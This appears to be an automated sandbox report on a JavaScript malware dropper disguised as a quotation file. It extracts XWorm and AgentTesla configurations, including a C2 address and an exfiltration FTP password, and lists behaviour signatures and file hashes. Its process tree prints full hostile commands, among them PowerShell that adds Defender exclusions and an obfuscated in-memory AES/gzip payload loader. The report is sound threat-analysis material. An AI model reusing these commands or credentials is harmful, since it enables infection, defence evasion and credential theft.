Analysis

  • max time kernel
    149s
  • max time network
    147s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    29/04/2026, 08:09

General

  • Target
    Quotation.RFQ28042026.js
  • Size 867KB
  • Sample260429-j2ethsdt8p
  • SHA256 65471e745397e92b3dd2ab9778cbd9c4c0f1471f9075c5860c9004a61ebd6a00
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • xworm

Version
  • 5.0

C2
  • 203.202.232.149:2222

Mutex
  • 4VeuKrW7wE9uXCl8

Attributes
  • install_file

    USB.exe

aes.plain

Extracted

Family
  • agenttesla

Credentials
  • Protocol

    ftp

  • Host

    ftp://ftp.duct-master.com

  • Port

    21

  • Password

    WL9ow,~&t(NJJf-)nn

Signatures

  • Family: AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Family: Xworm

    Xworm is a remote access trojan written in C#.

  • Detect Xworm Payload 1 IoCs
  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops startup file 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 8 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 19 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\Quotation.RFQ28042026.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1724
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -File "C:\Temp\ps_JNzSW8NnSQ11_1777450177361.ps1"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2824
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
        3⤵
          PID:3104
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
          3⤵
            PID:692
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
            3⤵
              PID:2776
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
              3⤵
                PID:696
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
                3⤵
                  PID:4032
                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
                  3⤵
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of SetWindowsHookEx
                  • Suspicious use of WriteProcessMemory
                  PID:844
                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe'
                    4⤵
                    • Command and Scripting Interpreter: PowerShell
                    • System Location Discovery: System Language Discovery
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2728
                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'aspnet_compiler.exe'
                    4⤵
                    • Command and Scripting Interpreter: PowerShell
                    • System Location Discovery: System Language Discovery
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:4068
                  • C:\Windows\SysWOW64\cmd.exe
                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lbhpuy.bat" "
                    4⤵
                    • System Location Discovery: System Language Discovery
                    • Suspicious use of WriteProcessMemory
                    PID:1496
                    • C:\Windows\SysWOW64\windowspowershell\v1.0\powershell.exe
                      "C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe" -w h -NoP -EP bypass -Command "function oyKSs($NwDBw){ $wrnVc=New-Object System.IO.MemoryStream(,$NwDBw); $tgWxf=New-Object System.IO.MemoryStream; $CPtFz=New-Object System.IO.Compression.GZipStream($wrnVc, [IO.Compression.CompressionMode]::Decompress); $CPtFz.CopyTo($tgWxf); $CPtFz.Dispose(); $wrnVc.Dispose(); $tgWxf.Dispose(); $tgWxf.ToArray();}function etIWk($NwDBw){ $ljxAe=[System.Security.Cryptography.Aes]::Create(); $ljxAe.Mode=[System.Security.Cryptography.CipherMode]::CBC; $ljxAe.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $ljxAe.Key=[System.Convert]::FromBase64String('OBWLT5q+ohpzlHi4YcovzWy22cnO7X1hgQGhLedKP2c='); $ljxAe.IV=[System.Convert]::FromBase64String('4BEyJ/XL1SO4mXxBRtyNSA=='); $BSGWh=$ljxAe.CreateDecryptor(); $vuCpj=$BSGWh.TransformFinalBlock($NwDBw, 0, $NwDBw.Length); $BSGWh.Dispose(); $ljxAe.Dispose(); $vuCpj;}function mZoxr($NwDBw,$niRhV){ $WzjXj=[System.Reflection.Assembly]::Load([byte[]]$NwDBw); $mKFkW=$WzjXj.EntryPoint; $mKFkW.Invoke($null, $niRhV);}$zenRC = 'C:\Users\Admin\AppData\Local\Temp\lbhpuy.bat';$host.UI.RawUI.WindowTitle = $zenRC;$sWGot=[System.IO.File]::ReadAllText($zenRC).Split([Environment]::NewLine);foreach ($rXPpA in $sWGot) { if ($rXPpA.StartsWith('vcceSlNTlRxVkBQvgNEZ')) { $nHaZl=$rXPpA.Substring(20); break; }}$agXlZ=[string[]]$nHaZl.Split('\');$Zhhqn=oyKSs (etIWk ([Convert]::FromBase64String($agXlZ[0].Replace('#', '/').Replace('@', 'A'))));$RUSGy=oyKSs (etIWk ([Convert]::FromBase64String($agXlZ[1].Replace('#', '/').Replace('@', 'A'))));mZoxr $Zhhqn $null;mZoxr $RUSGy (,[string[]] (''));"
                      5⤵
                      • Badlisted process makes network request
                      • Command and Scripting Interpreter: PowerShell
                      • Drops startup file
                      • System Location Discovery: System Language Discovery
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1832
                  • C:\Users\Admin\AppData\Local\Temp\extcly.exe
                    "C:\Users\Admin\AppData\Local\Temp\extcly.exe"
                    4⤵
                    • Executes dropped EXE
                    • System Location Discovery: System Language Discovery
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1772
                  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /target:exe /out:"C:\Users\Admin\AppData\Local\Temp\aspnet_compiler.exe" "C:\Users\Admin\AppData\Local\Temp\guardian_src_2151cc58a2af446bbad57285e7050a15.cs"
                    4⤵
                    • Suspicious use of WriteProcessMemory
                    PID:4412
                    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES38F8.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC7377297F43C64764BAD4AA78A57C66AB.TMP"
                      5⤵
                        PID:3976
                    • C:\Users\Admin\AppData\Local\Temp\aspnet_compiler.exe
                      "C:\Users\Admin\AppData\Local\Temp\aspnet_compiler.exe" 844
                      4⤵
                      • Executes dropped EXE
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1652

              Network

                    MITRE ATT&CK Enterprise v16

                    Replay Monitor

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                    Downloads

                    ps_JNzSW8NnSQ11_1777450177361.ps1

                    • Path C:\Temp\ps_JNzSW8NnSQ11_1777450177361.ps1
                    • Size 299KB
                    • SHA256 cc3e0b23600bdcb58c090dc5d27ca89b18b27f59783a6c352dffaef0f10369e1
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    powershell.exe.log

                    • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
                    • Size 2KB
                    • SHA256 9600b3fdf0565ccb49e21656aa4b24d7c18f776bfd04d9ee984b134707550f02
                    • MD5 SHA1 SHA512 TLSH

                    ModuleAnalysisCache

                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
                    • Size 61KB
                    • SHA256 d2798df470a71073e616ff54e7db24c40635f07c15fdacc463c3e8c931e1a341
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    StartupProfileData-NonInteractive

                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 18KB
                    • SHA256 dde826517514e4b4c875fea7ddc209360cf8ebd24e776247b25c7ccf70cbed7c
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    StartupProfileData-NonInteractive

                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 18KB
                    • SHA256 978a337d1e791456c0b8e9e3245a0b69d7c65d6d0ceeae50b58cce976e28e798
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    RES38F8.tmp

                    • Path C:\Users\Admin\AppData\Local\Temp\RES38F8.tmp
                    • Size 1KB
                    • SHA256 164305a2889d0aea0bb2624a81aca51a2de217d6d96fcd40fb8284f4271377d3
                    • MD5 SHA1 SHA512 TLSH

                    __PSScriptPolicyTest_vktapaef.z5b.ps1

                    • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vktapaef.z5b.ps1
                    • Size 60B
                    • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                    • MD5 SHA1 SHA512 TLSH

                    aspnet_compiler.exe

                    • Path C:\Users\Admin\AppData\Local\Temp\aspnet_compiler.exe
                    • Size 5KB
                    • SHA256 8e22b5325cc710e69d22ab56ae131353abb20fbb537c04a0bf5072b381a93eda
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    extcly.exe

                    • Path C:\Users\Admin\AppData\Local\Temp\extcly.exe
                    • Size 239KB
                    • SHA256 2cbe0104d0a55f21c2f0e895a50df2ffdbdebfe2e020c7b5dead6aaeb233467e
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    lbhpuy.bat

                    • Path C:\Users\Admin\AppData\Local\Temp\lbhpuy.bat
                    • Size 146KB
                    • SHA256 736a4eb5d2963b75468ffd482b0330f94575fc1982e1d42a3ea194e17e9fd464
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    CSC7377297F43C64764BAD4AA78A57C66AB.TMP

                    • Path \??\c:\Users\Admin\AppData\Local\Temp\CSC7377297F43C64764BAD4AA78A57C66AB.TMP
                    • Size 1KB
                    • SHA256 a90afa9b627d86babfc78e795984727845e59697f765ff7402fdfa883ed7ef79
                    • MD5 SHA1 SHA512 TLSH

                    guardian_src_2151cc58a2af446bbad57285e7050a15.cs

                    • Path \??\c:\Users\Admin\AppData\Local\Temp\guardian_src_2151cc58a2af446bbad57285e7050a15.cs
                    • Size 4KB
                    • SHA256 3ee1bf1ab210527e7543dc78ca3511904bf7770d571eb0d11746edd9f5bf814a
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    memory/844-147-0x0000000005FB0000-0x0000000005FE4000-memory.dmp

                    memory/844-82-0x0000000006420000-0x000000000642A000-memory.dmp

                    memory/844-148-0x0000000005FE0000-0x0000000005FE6000-memory.dmp

                    memory/844-145-0x0000000001780000-0x0000000001892000-memory.dmp

                    memory/844-138-0x0000000001780000-0x0000000001892000-memory.dmp

                    memory/844-130-0x0000000001780000-0x0000000001892000-memory.dmp

                    memory/844-88-0x00000000077F0000-0x0000000007832000-memory.dmp

                    memory/844-13-0x0000000000400000-0x0000000000410000-memory.dmp

                    memory/844-80-0x0000000006450000-0x00000000064E2000-memory.dmp

                    memory/844-111-0x0000000007850000-0x00000000078CC000-memory.dmp

                    memory/844-169-0x0000000001780000-0x0000000001892000-memory.dmp

                    memory/844-123-0x0000000001780000-0x0000000001892000-memory.dmp

                    memory/844-124-0x00000000074A0000-0x00000000074A7000-memory.dmp

                    memory/844-122-0x0000000005F10000-0x0000000005F60000-memory.dmp

                    memory/844-14-0x00000000057E0000-0x000000000587C000-memory.dmp

                    memory/844-150-0x000000000F840000-0x000000001067C000-memory.dmp

                    memory/844-83-0x0000000001780000-0x0000000001892000-memory.dmp

                    memory/844-79-0x00000000065A0000-0x0000000006B46000-memory.dmp

                    memory/1652-163-0x00000000008B0000-0x00000000008B8000-memory.dmp

                    memory/1724-46-0x0000015F667D0000-0x0000015F667DC000-memory.dmp

                    memory/1724-121-0x0000015F667D0000-0x0000015F667DC000-memory.dmp

                    memory/1772-113-0x0000000000BA0000-0x0000000000BE2000-memory.dmp

                    memory/1772-188-0x00000000014D0000-0x00000000015E2000-memory.dmp

                    memory/1772-129-0x0000000005C30000-0x0000000005C37000-memory.dmp

                    memory/1772-128-0x00000000014D0000-0x00000000015E2000-memory.dmp

                    memory/1832-116-0x0000000007AE0000-0x0000000007AFE000-memory.dmp

                    memory/1832-99-0x00000000063A0000-0x00000000066F7000-memory.dmp

                    memory/1832-101-0x0000000006E40000-0x0000000006E8C000-memory.dmp

                    memory/1832-115-0x0000000007AC0000-0x0000000007AC8000-memory.dmp

                    memory/1832-125-0x00000000053D0000-0x00000000053E9000-memory.dmp

                    memory/1832-126-0x0000000005460000-0x00000000054EA000-memory.dmp

                    memory/1832-127-0x0000000005820000-0x0000000005827000-memory.dmp

                    memory/2728-39-0x00000000075D0000-0x0000000007674000-memory.dmp

                    memory/2728-18-0x0000000005E00000-0x0000000005E66000-memory.dmp

                    memory/2728-15-0x0000000002AF0000-0x0000000002B26000-memory.dmp

                    memory/2728-16-0x00000000055A0000-0x0000000005BCA000-memory.dmp

                    memory/2728-17-0x0000000005500000-0x0000000005522000-memory.dmp

                    memory/2728-19-0x0000000005E70000-0x0000000005ED6000-memory.dmp

                    memory/2728-58-0x0000000007690000-0x0000000007697000-memory.dmp

                    memory/2728-57-0x0000000002B40000-0x0000000002BCA000-memory.dmp

                    memory/2728-56-0x0000000002AB0000-0x0000000002AC9000-memory.dmp

                    memory/2728-53-0x0000000007A60000-0x0000000007A68000-memory.dmp

                    memory/2728-52-0x0000000007A80000-0x0000000007A9A000-memory.dmp

                    memory/2728-51-0x0000000007970000-0x0000000007985000-memory.dmp

                    memory/2728-50-0x0000000007960000-0x000000000796E000-memory.dmp

                    memory/2728-26-0x0000000005EE0000-0x0000000006237000-memory.dmp

                    memory/2728-27-0x00000000063C0000-0x00000000063DE000-memory.dmp

                    memory/2728-28-0x00000000063F0000-0x000000000643C000-memory.dmp

                    memory/2728-45-0x0000000007930000-0x0000000007941000-memory.dmp

                    memory/2728-44-0x00000000079C0000-0x0000000007A56000-memory.dmp

                    memory/2728-43-0x0000000007790000-0x000000000779A000-memory.dmp

                    memory/2728-42-0x0000000007720000-0x000000000773A000-memory.dmp

                    memory/2728-41-0x0000000007D60000-0x00000000083DA000-memory.dmp

                    memory/2728-30-0x0000000007390000-0x00000000073C4000-memory.dmp

                    memory/2728-31-0x000000006FE20000-0x000000006FE6C000-memory.dmp

                    memory/2728-38-0x00000000069C0000-0x00000000069DE000-memory.dmp

                    memory/2824-12-0x000002969EB70000-0x000002969EB86000-memory.dmp

                    memory/2824-40-0x0000029686430000-0x0000029686440000-memory.dmp

                    memory/2824-29-0x0000029686430000-0x0000029686440000-memory.dmp

                    memory/2824-49-0x0000029686430000-0x0000029686440000-memory.dmp

                    memory/2824-48-0x0000029686490000-0x00000296864A2000-memory.dmp

                    memory/2824-47-0x0000029684BB0000-0x0000029684BBC000-memory.dmp

                    memory/2824-2-0x0000029686430000-0x0000029686440000-memory.dmp

                    memory/2824-4-0x000002969EAE0000-0x000002969EB02000-memory.dmp

                    memory/2824-1-0x0000029686430000-0x0000029686440000-memory.dmp

                    memory/2824-10-0x0000029686430000-0x0000029686440000-memory.dmp

                    memory/3976-156-0x0000022919EA0000-0x0000022919EAC000-memory.dmp

                    memory/4068-68-0x000000006FE20000-0x000000006FE6C000-memory.dmp

                    memory/4068-77-0x0000000004CB0000-0x0000000004D3A000-memory.dmp

                    memory/4068-78-0x0000000007360000-0x0000000007367000-memory.dmp

                    memory/4068-76-0x0000000002830000-0x0000000002849000-memory.dmp

                    memory/4068-65-0x0000000005CF0000-0x0000000006047000-memory.dmp

                    memory/4412-159-0x000001EECF9A0000-0x000001EECF9AC000-memory.dmp